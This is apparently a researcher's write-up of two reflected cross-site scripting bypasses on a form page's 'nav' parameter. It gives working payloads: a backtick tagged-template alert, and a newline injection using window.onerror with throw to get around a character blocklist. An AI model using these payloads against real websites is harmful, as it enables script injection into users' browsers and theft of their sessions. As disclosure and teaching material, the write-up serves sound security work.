Bypass the Bypass (XSS)

First XSS Bypass

The vulnerable request looked like this:

https://forms.palestine.com/dummy.aspx?nav=HERE'

https://forms.palestine.com/dummy.aspx?nav=HERE'

The source showed nav landing unescaped, straight inside a function call:

<script>loadTRLCollection('HERE'', 'TRLcontent');</script>

<script>loadTRLCollection('HERE'', 'TRLcontent');</script>

The quote in nav closed the string early, confirming the injection. But loadTRLCollection() was picky:

• It expects exactly two arguments: a string, then the literal TRLcontent. Change that shape and it errors.
• Extra ( or ) anywhere in the payload also broke it.

A textbook ');alert(1);// fails — it adds parentheses the parser doesn't expect there. Instead: close the call as expected, then trigger alert with zero new parentheses, using backticks

HERE', 'TRLcontent')-alert`XXSed`;//

HERE', 'TRLcontent')-alert`XXSed`;//

This closes loadTRLCollection('HERE', 'TRLcontent') properly, then uses -alert to call alert as a tagged template — backticks replace the parentheses a normal call needs. // comments out the rest of the line. Alert popped.

<script>loadTRLCollection('HERE', 'TRLcontent')-alert`XXSed`;//', 'TRLcontent');</script>

<script>loadTRLCollection('HERE', 'TRLcontent')-alert`XXSed`;//', 'TRLcontent');</script>

Second XSS bypass

The report came back resolved. Revisiting showed a partial fix: the quote was still unsanitized, but - and the backtick were now stripped — enough to kill the Round 1 payload.

Without -, backtick, or parentheses, there's no obvious way to call a function. But the fix blocklisted characters instead of fixing the real bug — unencoded input in a JS string. Newline is our only saver here, and one newline is enough pop an alert lets see if i can make a new line

HERE','TRLcontent')%0Ahack again?%0A

HERE','TRLcontent')%0Ahack again?%0A

anddd

<script>loadTRLCollection('HERE','TRLcontent')
hack again?
', 'TRLcontent');</script>

<script>loadTRLCollection('HERE','TRLcontent')
hack again?
', 'TRLcontent');</script>

I definitely can. So let's drop in the classic throw-error trick:

assign alert to window.onerror, then force an uncaught error with throw. The thrown string becomes the alert box — no parentheses around alert at all.

HERE%27,%27TRLcontent%27)%0Awindow.onerror%3Dalert%0Athrow%20%27hacked%20by%20belo%27%0A%2F%2F

HERE%27,%27TRLcontent%27)%0Awindow.onerror%3Dalert%0Athrow%20%27hacked%20by%20belo%27%0A%2F%2F

decoded

<script>loadTRLCollection('HERE','TRLcontent')
window.onerror=alert
throw 'hacked by belo'
//', 'TRLcontent');</script>

<script>loadTRLCollection('HERE','TRLcontent')
window.onerror=alert
throw 'hacked by belo'
//', 'TRLcontent');</script>

and BAAAM

linkedin

Embedded content